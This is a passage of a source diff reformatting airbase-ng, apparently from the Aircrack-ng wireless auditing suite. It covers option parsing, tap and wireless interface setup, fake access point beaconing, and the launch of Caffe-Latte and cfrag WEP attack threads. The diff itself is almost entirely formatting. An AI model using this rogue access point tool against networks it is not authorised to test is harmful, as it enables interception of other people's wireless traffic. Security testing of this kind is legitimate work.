+			case 'F':
 
-                if(getmac(optarg, 1, mac) == 0)
-                {
-                    addMAC(rClient, mac);
-                }
-                else
-                {
-                    printf( "Invalid source MAC address.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
+				if (opt.dump_prefix != NULL)
+				{
+					printf("Notice: dump prefix already given\n");
+					break;
+				}
+				/* Write prefix */
+				opt.dump_prefix = optarg;
+				opt.record_data = 1;
+				break;
+
+			case 'd':
+
+				if (getmac(optarg, 1, mac) == 0)
+				{
+					addMAC(rClient, mac);
+				}
+				else
+				{
+					printf("Invalid source MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
 
-                if(opt.filter == -1) opt.filter = ALLOW_MACS;
+				if (opt.filter == -1) opt.filter = ALLOW_MACS;
 
-                break;
+				break;
 
-            case 'D':
+			case 'D':
 
-                if(addMACfile(rClient, optarg) != 0)
-                    return( 1 );
+				if (addMACfile(rClient, optarg) != 0) return (1);
 
-                if(opt.filter == -1) opt.filter = ALLOW_MACS;
+				if (opt.filter == -1) opt.filter = ALLOW_MACS;
 
-                break;
+				break;
 
-            case 'b':
+			case 'b':
 
-                if(getmac(optarg, 1, mac) == 0)
-                {
-                    addMAC(rBSSID, mac);
-                }
-                else
-                {
-                    printf( "Invalid BSSID address.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
+				if (getmac(optarg, 1, mac) == 0)
+				{
+					addMAC(rBSSID, mac);
+				}
+				else
+				{
+					printf("Invalid BSSID address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
 
-                if(opt.filter == -1) opt.filter = ALLOW_MACS;
+				if (opt.filter == -1) opt.filter = ALLOW_MACS;
 
-                break;
+				break;
 
-            case 'B':
+			case 'B':
 
-                if(addMACfile(rBSSID, optarg) != 0)
-                    return( 1 );
+				if (addMACfile(rBSSID, optarg) != 0) return (1);
 
-                if(opt.filter == -1) opt.filter = ALLOW_MACS;
+				if (opt.filter == -1) opt.filter = ALLOW_MACS;
 
-                break;
+				break;
 
-            case 'r' :
+			case 'r':
 
-                if( opt.s_face != NULL || opt.s_file )
-                {
-                    printf( "Packet source already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                opt.s_file = optarg;
-                break;
+				if (opt.s_face != NULL || opt.s_file)
+				{
+					printf("Packet source already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.s_file = optarg;
+				break;
 
-            case 'H' :
+			case 'H':
 
-                printf( usage, getVersion("Airbase-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)  );
-                return( 1 );
+				printf(usage,
+					   getVersion("Airbase-ng",
+								  _MAJ,
+								  _MIN,
+								  _SUB_MIN,
+								  _REVISION,
+								  _BETA,
+								  _RC));
+				return (1);
 
-            default : goto usage;
-        }
-    }
+			default:
+				goto usage;
+		}
+	}
 
-    if( argc - optind != 1 )
-    {
-        if(argc == 1)
-        {
-usage:
-            printf( usage, getVersion("Airbase-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)  );
-        }
-        if( argc - optind == 0)
-        {
-            printf("No replay interface specified.\n");
-        }
-        if(argc > 1)
-        {
-            printf("\"%s --help\" for help.\n", argv[0]);
-        }
-        return( 1 );
-    }
+	if (argc - optind != 1)
+	{
+		if (argc == 1)
+		{
+		usage:
+			printf(
+				usage,
+				getVersion(
+					"Airbase-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC));
+		}
+		if (argc - optind == 0)
+		{
+			printf("No replay interface specified.\n");
+		}
+		if (argc > 1)
+		{
+			printf("\"%s --help\" for help.\n", argv[0]);
+		}
+		return (1);
+	}
 
-    if( ( memcmp(opt.f_netmask, NULL_MAC, 6) != 0 ) && ( memcmp(opt.f_bssid, NULL_MAC, 6) == 0 ) )
-    {
-        printf("Notice: specify bssid \"--bssid\" with \"--netmask\"\n");
-        printf("\"%s --help\" for help.\n", argv[0]);
-        return( 1 );
-    }
+	if ((memcmp(opt.f_netmask, NULL_MAC, 6) != 0)
+		&& (memcmp(opt.f_bssid, NULL_MAC, 6) == 0))
+	{
+		printf("Notice: specify bssid \"--bssid\" with \"--netmask\"\n");
+		printf("\"%s --help\" for help.\n", argv[0]);
+		return (1);
+	}
 
-    if( opt.mitm && (getMACcount(rBSSID) != 1 || getMACcount(rClient) < 1) )
-    {
-        printf("Notice: You need to specify exactly one BSSID (-b)"
-               " and at least one client MAC (-d)\n");
-        printf("\"%s --help\" for help.\n", argv[0]);
-        return( 1 );
-    }
+	if (opt.mitm && (getMACcount(rBSSID) != 1 || getMACcount(rClient) < 1))
+	{
+		printf("Notice: You need to specify exactly one BSSID (-b)"
+			   " and at least one client MAC (-d)\n");
+		printf("\"%s --help\" for help.\n", argv[0]);
+		return (1);
+	}
 
-    if( opt.wpa1type && opt.wpa2type )
-    {
-        printf("Notice: You can only set one method: WPA (-z) or WPA2 (-Z)\n");
-        printf("\"%s --help\" for help.\n", argv[0]);
-        return( 1 );
-    }
+	if (opt.wpa1type && opt.wpa2type)
+	{
+		printf("Notice: You can only set one method: WPA (-z) or WPA2 (-Z)\n");
+		printf("\"%s --help\" for help.\n", argv[0]);
+		return (1);
+	}
 
-//     if( opt.sendeapol && !opt.wpa1type && !opt.wpa2type )
-//     {
-//         printf("Notice: You need to specify which WPA method to use"
-//                " together with EAPOL. WPA (-z) or WPA2 (-Z)\n");
-//         printf("\"%s --help\" for help.\n", argv[0]);
-//         return( 1 );
-//     }
+	//     if( opt.sendeapol && !opt.wpa1type && !opt.wpa2type )
+	//     {
+	//         printf("Notice: You need to specify which WPA method to use"
+	//                " together with EAPOL. WPA (-z) or WPA2 (-Z)\n");
+	//         printf("\"%s --help\" for help.\n", argv[0]);
+	//         return( 1 );
+	//     }
 
-    if( opt.allwpa && (opt.wpa1type || opt.wpa2type) )
-    {
-        printf("Notice: You cannot use all WPA tags (-0)"
-               " together with WPA (-z) or WPA2 (-Z)\n");
-        printf("\"%s --help\" for help.\n", argv[0]);
-        return( 1 );
-    }
+	if (opt.allwpa && (opt.wpa1type || opt.wpa2type))
+	{
+		printf("Notice: You cannot use all WPA tags (-0)"
+			   " together with WPA (-z) or WPA2 (-Z)\n");
+		printf("\"%s --help\" for help.\n", argv[0]);
+		return (1);
+	}
 
-    dev.fd_rtc = -1;
+	dev.fd_rtc = -1;
 
-    /* open the RTC device if necessary */
+/* open the RTC device if necessary */
 
 #if defined(__i386__)
 #if defined(linux)
-    if( 1 )
-    {
-        if( ( dev.fd_rtc = open( "/dev/rtc0", O_RDONLY ) ) < 0 )
-        {
-            dev.fd_rtc = 0;
-        }
-
-        if( (dev.fd_rtc == 0) && ( dev.fd_rtc = open( "/dev/rtc", O_RDONLY ) ) < 0 )
-        {
-            dev.fd_rtc = 0;
-        }
-
-        if( dev.fd_rtc > 0 )
-        {
-            if( ioctl( dev.fd_rtc, RTC_IRQP_SET, RTC_RESOLUTION ) < 0 )
-            {
-                perror( "ioctl(RTC_IRQP_SET) failed" );
-                printf(
-"Make sure enhanced rtc device support is enabled in the kernel (module\n"
-"rtc, not genrtc) - also try 'echo 1024 >/proc/sys/dev/rtc/max-user-freq'.\n" );
-                close( dev.fd_rtc );
-                dev.fd_rtc = -1;
-            }
-            else
-            {
-                if( ioctl( dev.fd_rtc, RTC_PIE_ON, 0 ) < 0 )
-                {
-                    perror( "ioctl(RTC_PIE_ON) failed" );
-                    close( dev.fd_rtc );
-                    dev.fd_rtc = -1;
-                }
-            }
-        }
-        else
-        {
-            printf( "For information, no action required:"
-                    " Using gettimeofday() instead of /dev/rtc\n" );
-            dev.fd_rtc = -1;
-        }
-    }
+	if (1)
+	{
+		if ((dev.fd_rtc = open("/dev/rtc0", O_RDONLY)) < 0)
+		{
+			dev.fd_rtc = 0;
+		}
+
+		if ((dev.fd_rtc == 0) && (dev.fd_rtc = open("/dev/rtc", O_RDONLY)) < 0)
+		{
+			dev.fd_rtc = 0;
+		}
+
+		if (dev.fd_rtc > 0)
+		{
+			if (ioctl(dev.fd_rtc, RTC_IRQP_SET, RTC_RESOLUTION) < 0)
+			{
+				perror("ioctl(RTC_IRQP_SET) failed");
+				printf("Make sure enhanced rtc device support is enabled in "
+					   "the kernel (module\n"
+					   "rtc, not genrtc) - also try 'echo 1024 "
+					   ">/proc/sys/dev/rtc/max-user-freq'.\n");
+				close(dev.fd_rtc);
+				dev.fd_rtc = -1;
+			}
+			else
+			{
+				if (ioctl(dev.fd_rtc, RTC_PIE_ON, 0) < 0)
+				{
+					perror("ioctl(RTC_PIE_ON) failed");
+					close(dev.fd_rtc);
+					dev.fd_rtc = -1;
+				}
+			}
+		}
+		else
+		{
+			printf("For information, no action required:"
+				   " Using gettimeofday() instead of /dev/rtc\n");
+			dev.fd_rtc = -1;
+		}
+	}
 #endif /* linux */
 #endif /* __i386__ */
 
-    /* open the replay interface */
-    _wi_out = wi_open(argv[optind]);
-    if (!_wi_out)
-        return 1;
-    dev.fd_out = wi_fd(_wi_out);
-
-    /* open the packet source */
-    if( opt.s_face != NULL )
-    {
-        _wi_in = wi_open(opt.s_face);
-        if (!_wi_in)
-            return 1;
-        dev.fd_in = wi_fd(_wi_in);
-    }
-    else
-    {
-        _wi_in = _wi_out;
-        dev.fd_in = dev.fd_out;
-    }
+	/* open the replay interface */
+	tempstr = strdup(argv[optind]);
+	if (!tempstr)
+	{
+		return 1;
+	}
+	_wi_out = wi_open(tempstr);
+	free(tempstr);
+	if (!_wi_out) return 1;
+	dev.fd_out = wi_fd(_wi_out);
+
+	/* open the packet source */
+	if (opt.s_face != NULL)
+	{
+		_wi_in = wi_open(opt.s_face);
+		if (!_wi_in) return 1;
+		dev.fd_in = wi_fd(_wi_in);
+	}
+	else
+	{
+		_wi_in = _wi_out;
+		dev.fd_in = dev.fd_out;
+	}
 
-    /* drop privileges */
-	if (setuid( getuid() ) == -1) {
+	/* drop privileges */
+	if (setuid(getuid()) == -1)
+	{
 		perror("setuid");
 	}
 
-    /* XXX */
-    if( opt.r_nbpps == 0 )
-    {
-        if( dev.is_wlanng || dev.is_hostap )
-            opt.r_nbpps = 200;
-        else
-            opt.r_nbpps = 500;
-    }
-
-    if (opt.record_data)
-        if( dump_initialize( opt.dump_prefix ) )
-            return( 1 );
-
-    if( opt.s_file != NULL )
-    {
-        if( ! ( dev.f_cap_in = fopen( opt.s_file, "rb" ) ) )
-        {
-            perror( "open failed" );
-            return( 1 );
-        }
-
-        n = sizeof( struct pcap_file_header );
-
-        if( fread( &dev.pfh_in, 1, n, dev.f_cap_in ) != (size_t) n )
-        {
-            perror( "fread(pcap file header) failed" );
-            return( 1 );
-        }
-
-        if( dev.pfh_in.magic != TCPDUMP_MAGIC &&
-            dev.pfh_in.magic != TCPDUMP_CIGAM )
-        {
-            fprintf( stderr, "\"%s\" isn't a pcap file (expected "
-                             "TCPDUMP_MAGIC).\n", opt.s_file );
-            return( 1 );
-        }
-
-        if( dev.pfh_in.magic == TCPDUMP_CIGAM )
-            SWAP32(dev.pfh_in.linktype);
-
-        if( dev.pfh_in.linktype != LINKTYPE_IEEE802_11 &&
-            dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER &&
-            dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR &&
-            dev.pfh_in.linktype != LINKTYPE_PPI_HDR )
-        {
-            fprintf( stderr, "Wrong linktype from pcap file header "
-                             "(expected LINKTYPE_IEEE802_11) -\n"
-                             "this doesn't look like a regular 802.11 "
-                             "capture.\n" );
-            return( 1 );
-        }
-    }
-
-    dev.dv_ti = ti_open(NULL);
-    if(!dev.dv_ti)
-    {
-        printf( "error opening tap device: %s\n", strerror( errno ) );
-        return -1;
-    }
-
-    if(!opt.quiet)
-    {
-        PCT; printf( "Created tap interface %s\n", ti_name(dev.dv_ti));
-    }
-
-    //Set MTU on tun/tap interface to a preferred value
-    if(!opt.quiet)
-    {
-        PCT; printf( "Trying to set MTU on %s to %i\n", ti_name(dev.dv_ti), opt.ti_mtu);
-    }
-    if( ti_set_mtu(dev.dv_ti, opt.ti_mtu) != 0)
-    {
-        if(!opt.quiet)
-        {
-            printf( "error setting MTU on %s\n", ti_name(dev.dv_ti));
-        }
-            opt.ti_mtu = ti_get_mtu(dev.dv_ti);
-            if(!opt.quiet)
-            {
-                PCT; printf( "MTU on %s remains at %i\n", ti_name(dev.dv_ti), opt.ti_mtu);
-            }
-    }
-
-    //Set MTU on wireless interface to a preferred value
-    if( wi_get_mtu(_wi_out) < opt.wif_mtu )
-    {
-        if(!opt.quiet)
-        {
-            PCT; printf( "Trying to set MTU on %s to %i\n", _wi_out->wi_interface, opt.wif_mtu);
-        }
-        if( wi_set_mtu(_wi_out, opt.wif_mtu) != 0 )
-        {
-            opt.wif_mtu = wi_get_mtu(_wi_out);
-            if(!opt.quiet)
-            {
-                printf( "error setting MTU on %s\n", _wi_out->wi_interface);
-                PCT; printf( "MTU on %s remains at %i\n", _wi_out->wi_interface, opt.wif_mtu);
-            }
-        }
-    }
-
-    if(opt.external)
-    {
-        dev.dv_ti2 = ti_open(NULL);
-        if(!dev.dv_ti2)
-        {
-            printf( "error opening tap device: %s\n", strerror( errno ) );
-            return -1;
-        }
-        if(!opt.quiet)
-        {
-            PCT;
-            printf( "Created tap interface %s for external processing.\n", ti_name(dev.dv_ti2));
-            printf( "You need to get the interfaces up, read the fames [,modify]\n");
-            printf( "and send them back through the same interface \"%s\".\n", ti_name(dev.dv_ti2));
-        }
-    }
-
-    if(opt.channel > 0)
-        wi_set_channel(_wi_out, opt.channel);
-
-    if( memcmp( opt.r_bssid, NULL_MAC, 6) == 0 && !opt.adhoc)
-    {
-        wi_get_mac( _wi_out, opt.r_bssid);
-    }
-
-    if( memcmp( opt.r_smac, NULL_MAC, 6) == 0 )
-    {
-        wi_get_mac( _wi_out, opt.r_smac);
-    }
-
-    if(opt.adhoc)
-    {
-        for(i=0; i<6; i++) //random cell
-            opt.r_bssid[i] = rand() & 0xFF;
-
-        //generate an even first byte
-        if(opt.r_bssid[0] & 0x01)
-            opt.r_bssid[0] ^= 0x01;
-    }
-
-    memcpy(apc.bssid, opt.r_bssid, 6);
-    if( getESSIDcount() == 1 && opt.hidden != 1)
-    {
-        apc.essid = (char*) malloc(MAX_IE_ELEMENT_SIZE+1);
-        apc.essid_len = getESSID(apc.essid);
-        apc.essid = (char*) realloc((void *)apc.essid, apc.essid_len + 1);
-        apc.essid[apc.essid_len] = 0x00;
-    }
-    else
-    {
-        apc.essid = "\x00";
-        apc.essid_len = 1;
-    }
-    apc.interval = opt.interval;
-    apc.capa[0] = 0x00;
-    if(opt.adhoc)
-        apc.capa[0] |= 0x02;
-    else
-        apc.capa[0] |= 0x01;
-    if( (opt.crypt == CRYPT_WEP && opt.setWEP == -1) || opt.setWEP == 1 )
-        apc.capa[0] |= 0x10;
-    apc.capa[1] = 0x04;
-
-    if(ti_set_mac(dev.dv_ti, opt.r_bssid) != 0)
-    {
-        printf("\n");
-        perror("ti_set_mac failed");
-        printf("You most probably want to set the MAC of your TAP interface.\n");
-        printf("ifconfig <iface> hw ether %02X:%02X:%02X:%02X:%02X:%02X\n\n\n",
-                opt.r_bssid[0], opt.r_bssid[1], opt.r_bssid[2],
-                opt.r_bssid[3], opt.r_bssid[4], opt.r_bssid[5]);
-    }
-
-    if(opt.external)
-    {
-        if(ti_set_mac(dev.dv_ti2, (unsigned char*)"\xba\x98\x76\x54\x32\x10") != 0)
-        {
-            printf("Couldn't set MAC on interface \"%s\".\n", ti_name(dev.dv_ti2));
-        }
-    }
-    //start sending beacons
-    if( pthread_create( &(beaconpid), NULL, (void *) beacon_thread,
-            (void *) &apc ) != 0 )
-    {
-        perror("Beacons pthread_create");
-        return( 1 );
-    }
-
-    if( opt.caffelatte )
-    {
-        arp = (struct ARP_req*) malloc( opt.ringbuffer * sizeof( struct ARP_req ) );
-
-        if( pthread_create( &(caffelattepid), NULL, (void *) caffelatte_thread, NULL ) != 0 )
-        {
-            perror("Caffe-Latte pthread_create");
-            return( 1 );
-        }
-    }
-
-    if( opt.cf_attack )
-    {
-        if( pthread_create( &(cfragpid), NULL, (void *) cfrag_thread, NULL ) != 0 )
-        {
-            perror("cfrag pthread_create");
-            return( 1 );
-        }
-    }
-
-    if( !opt.quiet )
-    {
-        if(opt.adhoc)
-        {
-            PCT; printf("Sending beacons in Ad-Hoc mode for Cell %02X:%02X:%02X:%02X:%02X:%02X.\n",
-                        opt.r_bssid[0],opt.r_bssid[1],opt.r_bssid[2],opt.r_bssid[3],opt.r_bssid[4],opt.r_bssid[5]);
-        }
-        else
-        {
-            PCT; printf("Access Point with BSSID %02X:%02X:%02X:%02X:%02X:%02X started.\n",
-                        opt.r_bssid[0],opt.r_bssid[1],opt.r_bssid[2],opt.r_bssid[3],opt.r_bssid[4],opt.r_bssid[5]);
-        }
-    }
-
-    for( ; ; )
-    {
-        if(opt.s_file != NULL)
-        {
-            n = sizeof( pkh );
-
-            if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 )
-            {
-                PCT; printf("Finished reading input file %s.\n", opt.s_file);
-                opt.s_file = NULL;
-                continue;
-            }
-
-            if( dev.pfh_in.magic == TCPDUMP_CIGAM ) {
-                SWAP32( pkh.caplen );
-                SWAP32( pkh.len );
-            }
-
-            n = caplen = pkh.caplen;
-
-            if( n <= 0 || n > (int) sizeof( h80211 ) )
-            {
-                PCT; printf("Finished reading input file %s.\n", opt.s_file);
-                opt.s_file = NULL;
-                continue;
-            }
-
-            if( fread( h80211, n, 1, dev.f_cap_in ) != 1 )
-            {
-                PCT; printf("Finished reading input file %s.\n", opt.s_file);
-                opt.s_file = NULL;
-                continue;
-            }
-
-            if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER )
-            {
-                if( h80211[7] == 0x40 )
-                    n = 64;
-                else
-                    n = *(int *)( h80211 + 4 );
-
-                if( n < 8 || n >= (int) caplen )
-                    continue;
-
-                memcpy( tmpbuf, h80211, caplen );
-                caplen -= n;
-                memcpy( h80211, tmpbuf + n, caplen );
-            }
-
-            if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR )
-            {
-                /* remove the radiotap header */
-
-                n = *(unsigned short *)( h80211 + 2 );
-
-                if( n <= 0 || n >= (int) caplen )
-                    continue;
-
-                memcpy( tmpbuf, h80211, caplen );
-                caplen -= n;
-                memcpy( h80211, tmpbuf + n, caplen );
-            }
-
-            if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR )
-            {
-                /* remove the PPI header */
-
-                n = le16_to_cpu(*(unsigned short *)( h80211 + 2));
-
-                if( n <= 0 || n>= (int) caplen )
-                    continue;
-
-                /* for a while Kismet logged broken PPI headers */
-                if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 )
-                    n = 32;
-
-                if( n <= 0 || n>= (int) caplen )
-                    continue;
-
-                memcpy( tmpbuf, h80211, caplen );
-                caplen -= n;
-                memcpy( h80211, tmpbuf + n, caplen );
-            }
-
-            packet_recv( h80211, caplen, &apc, (opt.external & EXT_IN));
-            msleep( 1000/opt.r_nbpps );
-            continue;
-        }
-
-        FD_ZERO( &read_fds );
-        FD_SET( dev.fd_in, &read_fds );
-        FD_SET(ti_fd(dev.dv_ti), &read_fds );
-        if(opt.external)
-        {
-            FD_SET(ti_fd(dev.dv_ti2), &read_fds );
-            ret_val = select( MAX(ti_fd(dev.dv_ti), MAX(ti_fd(dev.dv_ti2), dev.fd_in)) + 1, &read_fds, NULL, NULL, NULL );
-        }
-        else
-            ret_val = select( MAX(ti_fd(dev.dv_ti), dev.fd_in) + 1, &read_fds, NULL, NULL, NULL );
-        if( ret_val < 0 )
-            break;
-        if( ret_val > 0 )
-        {
-            if( FD_ISSET(ti_fd(dev.dv_ti), &read_fds ) )
-            {
-                len = ti_read(dev.dv_ti, buffer, sizeof( buffer ) );
-                if( len > 0  )
-                {
-                    packet_xmit(buffer, len);
-                }
-            }
-            if( opt.external && FD_ISSET(ti_fd(dev.dv_ti2), &read_fds ) )
-            {
-                len = ti_read(dev.dv_ti2, buffer, sizeof( buffer ) );
-                if( len > 0  )
-                {
-                    packet_xmit_external(buffer, len, &apc);
-                }
-            }
-            if( FD_ISSET( dev.fd_in, &read_fds ) )
-            {
-                len = read_packet( buffer, sizeof( buffer ) );
-                if( len > 0 )
-                {
-                    packet_recv( buffer, len, &apc, (opt.external & EXT_IN));
-                }
-            }
-        } //if( ret_val > 0 )
-    } //for( ; ; )
+	/* XXX */
+	if (opt.r_nbpps == 0)
+	{
+		if (dev.is_wlanng || dev.is_hostap)
+			opt.r_nbpps = 200;
+		else
+			opt.r_nbpps = 500;
+	}
+
+	if (opt.record_data)
+		if (dump_initialize(opt.dump_prefix)) return (1);
+
+	if (opt.s_file != NULL)
+	{
+		if (!(dev.f_cap_in = fopen(opt.s_file, "rb")))
+		{
+			perror("open failed");
+			return (1);
+		}
+
+		n = sizeof(struct pcap_file_header);
+
+		if (fread(&dev.pfh_in, 1, n, dev.f_cap_in) != (size_t) n)
+		{
+			perror("fread(pcap file header) failed");
+			return (1);
+		}
+
+		if (dev.pfh_in.magic != TCPDUMP_MAGIC
+			&& dev.pfh_in.magic != TCPDUMP_CIGAM)
+		{
+			fprintf(stderr,
+					"\"%s\" isn't a pcap file (expected "
+					"TCPDUMP_MAGIC).\n",
+					opt.s_file);
+			return (1);
+		}
+
+		if (dev.pfh_in.magic == TCPDUMP_CIGAM) SWAP32(dev.pfh_in.linktype);
+
+		if (dev.pfh_in.linktype != LINKTYPE_IEEE802_11
+			&& dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER
+			&& dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR
+			&& dev.pfh_in.linktype != LINKTYPE_PPI_HDR)
+		{
+			fprintf(stderr,
+					"Wrong linktype from pcap file header "
+					"(expected LINKTYPE_IEEE802_11) -\n"
+					"this doesn't look like a regular 802.11 "
+					"capture.\n");
+			return (1);
+		}
+	}
+
+	dev.dv_ti = ti_open(NULL);
+	if (!dev.dv_ti)
+	{
+		printf("error opening tap device: %s\n", strerror(errno));
+		return -1;
+	}
+
+	if (!opt.quiet)
+	{
+		PCT;
+		printf("Created tap interface %s\n", ti_name(dev.dv_ti));
+	}
+
+	// Set MTU on tun/tap interface to a preferred value
+	if (!opt.quiet)
+	{
+		PCT;
+		printf(
+			"Trying to set MTU on %s to %i\n", ti_name(dev.dv_ti), opt.ti_mtu);
+	}
+	if (ti_set_mtu(dev.dv_ti, opt.ti_mtu) != 0)
+	{
+		if (!opt.quiet)
+		{
+			printf("error setting MTU on %s\n", ti_name(dev.dv_ti));
+		}
+		opt.ti_mtu = ti_get_mtu(dev.dv_ti);
+		if (!opt.quiet)
+		{
+			PCT;
+			printf("MTU on %s remains at %i\n", ti_name(dev.dv_ti), opt.ti_mtu);
+		}
+	}
+
+	// Set MTU on wireless interface to a preferred value
+	if (wi_get_mtu(_wi_out) < opt.wif_mtu)
+	{
+		if (!opt.quiet)
+		{
+			PCT;
+			printf("Trying to set MTU on %s to %i\n",
+				   _wi_out->wi_interface,
+				   opt.wif_mtu);
+		}
+		if (wi_set_mtu(_wi_out, opt.wif_mtu) != 0)
+		{
+			opt.wif_mtu = wi_get_mtu(_wi_out);
+			if (!opt.quiet)
+			{
+				printf("error setting MTU on %s\n", _wi_out->wi_interface);
+				PCT;
+				printf("MTU on %s remains at %i\n",
+					   _wi_out->wi_interface,
+					   opt.wif_mtu);
+			}
+		}
+	}
+
+	if (opt.external)
+	{
+		dev.dv_ti2 = ti_open(NULL);
+		if (!dev.dv_ti2)
+		{
+			printf("error opening tap device: %s\n", strerror(errno));
+			return -1;
+		}
+		if (!opt.quiet)
+		{
+			PCT;
+			printf("Created tap interface %s for external processing.\n",
+				   ti_name(dev.dv_ti2));
+			printf("You need to get the interfaces up, read the fames "
+				   "[,modify]\n");
+			printf("and send them back through the same interface \"%s\".\n",
+				   ti_name(dev.dv_ti2));
+		}
+	}
+
+	if (opt.channel > 0) wi_set_channel(_wi_out, opt.channel);
+
+	if (memcmp(opt.r_bssid, NULL_MAC, 6) == 0 && !opt.adhoc)
+	{
+		wi_get_mac(_wi_out, opt.r_bssid);
+	}
+
+	if (memcmp(opt.r_smac, NULL_MAC, 6) == 0)
+	{
+		wi_get_mac(_wi_out, opt.r_smac);
+	}
+
+	if (opt.adhoc)
+	{
+		for (i = 0; i < 6; i++) // random cell
+			opt.r_bssid[i] = rand() & 0xFF;
+
+		// generate an even first byte
+		if (opt.r_bssid[0] & 0x01) opt.r_bssid[0] ^= 0x01;
+	}
+
+	memcpy(apc.bssid, opt.r_bssid, 6);
+	if (getESSIDcount() == 1 && opt.hidden != 1)
+	{
+		apc.essid = (char *) malloc(MAX_IE_ELEMENT_SIZE + 1);
+		apc.essid_len = getESSID(apc.essid);
+		apc.essid = (char *) realloc((void *) apc.essid, apc.essid_len + 1);
+		apc.essid[apc.essid_len] = 0x00;
+	}
+	else
+	{
+		apc.essid = "\x00";
+		apc.essid_len = 1;
+	}
+	apc.interval = opt.interval;
+	apc.capa[0] = 0x00;
+	if (opt.adhoc)
+		apc.capa[0] |= 0x02;
+	else
+		apc.capa[0] |= 0x01;
+	if ((opt.crypt == CRYPT_WEP && opt.setWEP == -1) || opt.setWEP == 1)
+		apc.capa[0] |= 0x10;
+	apc.capa[1] = 0x04;
+
+	if (ti_set_mac(dev.dv_ti, opt.r_bssid) != 0)
+	{
+		printf("\n");
+		perror("ti_set_mac failed");
+		printf(
+			"You most probably want to set the MAC of your TAP interface.\n");
+		printf("ifconfig <iface> hw ether %02X:%02X:%02X:%02X:%02X:%02X\n\n\n",
+			   opt.r_bssid[0],
+			   opt.r_bssid[1],
+			   opt.r_bssid[2],
+			   opt.r_bssid[3],
+			   opt.r_bssid[4],
+			   opt.r_bssid[5]);
+	}
+
+	if (opt.external)
+	{
+		if (ti_set_mac(dev.dv_ti2, (unsigned char *) "\xba\x98\x76\x54\x32\x10")
+			!= 0)
+		{
+			printf("Couldn't set MAC on interface \"%s\".\n",
+				   ti_name(dev.dv_ti2));
+		}
+	}
+	// start sending beacons
+	if (pthread_create(
+			&(beaconpid), NULL, (void *) beacon_thread, (void *) &apc)
+		!= 0)
+	{
+		perror("Beacons pthread_create");
+		return (1);
+	}
+
+	if (opt.caffelatte)
+	{
+		arp = (struct ARP_req *) malloc(opt.ringbuffer
+										* sizeof(struct ARP_req));
+
+		if (pthread_create(
+				&(caffelattepid), NULL, (void *) caffelatte_thread, NULL)
+			!= 0)
+		{
+			perror("Caffe-Latte pthread_create");
+			return (1);
+		}
+	}
+
+	if (opt.cf_attack)
+	{
+		if (pthread_create(&(cfragpid), NULL, (void *) cfrag_thread, NULL) != 0)
+		{
+			perror("cfrag pthread_create");
+			return (1);
+		}
+	}
+
+	if (!opt.quiet)
+	{
+		if (opt.adhoc)
+		{
+			PCT;
+			printf("Sending beacons in Ad-Hoc mode for Cell "
+				   "%02X:%02X:%02X:%02X:%02X:%02X.\n",
+				   opt.r_bssid[0],
+				   opt.r_bssid[1],
+				   opt.r_bssid[2],
+				   opt.r_bssid[3],
+				   opt.r_bssid[4],
+				   opt.r_bssid[5]);
+		}
+		else
+		{
+			PCT;
+			printf("Access Point with BSSID %02X:%02X:%02X:%02X:%02X:%02X "
+				   "started.\n",
+				   opt.r_bssid[0],
+				   opt.r_bssid[1],
+				   opt.r_bssid[2],
+				   opt.r_bssid[3],
+				   opt.r_bssid[4],
+				   opt.r_bssid[5]);
+		}
+	}
+
+	for (;;)
+	{
+		if (opt.s_file != NULL)
+		{
+			n = sizeof(pkh);
+
+			if (fread(&pkh, n, 1, dev.f_cap_in) != 1)
+			{
+				PCT;
+				printf("Finished reading input file %s.\n", opt.s_file);
+				opt.s_file = NULL;
+				continue;
+			}
+
+			if (dev.pfh_in.magic == TCPDUMP_CIGAM)
+			{
+				SWAP32(pkh.caplen);
+				SWAP32(pkh.len);
+			}
 
-    ti_close( dev.dv_ti );
+			n = caplen = pkh.caplen;
+
+			if (n <= 0 || n > (int) sizeof(h80211))
+			{
+				PCT;
+				printf("Finished reading input file %s.\n", opt.s_file);
+				opt.s_file = NULL;
+				continue;
+			}
+
+			if (fread(h80211, n, 1, dev.f_cap_in) != 1)
+			{
+				PCT;
+				printf("Finished reading input file %s.\n", opt.s_file);
+				opt.s_file = NULL;
+				continue;
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
+			{
+				if (h80211[7] == 0x40)
+					n = 64;
+				else
+					n = *(int *) (h80211 + 4);
+
+				if (n < 8 || n >= (int) caplen) continue;
+
+				memcpy(tmpbuf, h80211, caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, caplen);
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
+			{
+				/* remove the radiotap header */
+
+				n = *(unsigned short *) (h80211 + 2);
+
+				if (n <= 0 || n >= (int) caplen) continue;
+
+				memcpy(tmpbuf, h80211, caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, caplen);
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_PPI_HDR)
+			{
+				/* remove the PPI header */
+
+				n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
+
+				if (n <= 0 || n >= (int) caplen) continue;
+
+				/* for a while Kismet logged broken PPI headers */
+				if (n == 24
+					&& le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
+					n = 32;
+
+				if (n <= 0 || n >= (int) caplen) continue;
+
+				memcpy(tmpbuf, h80211, caplen);
+				caplen -= n;
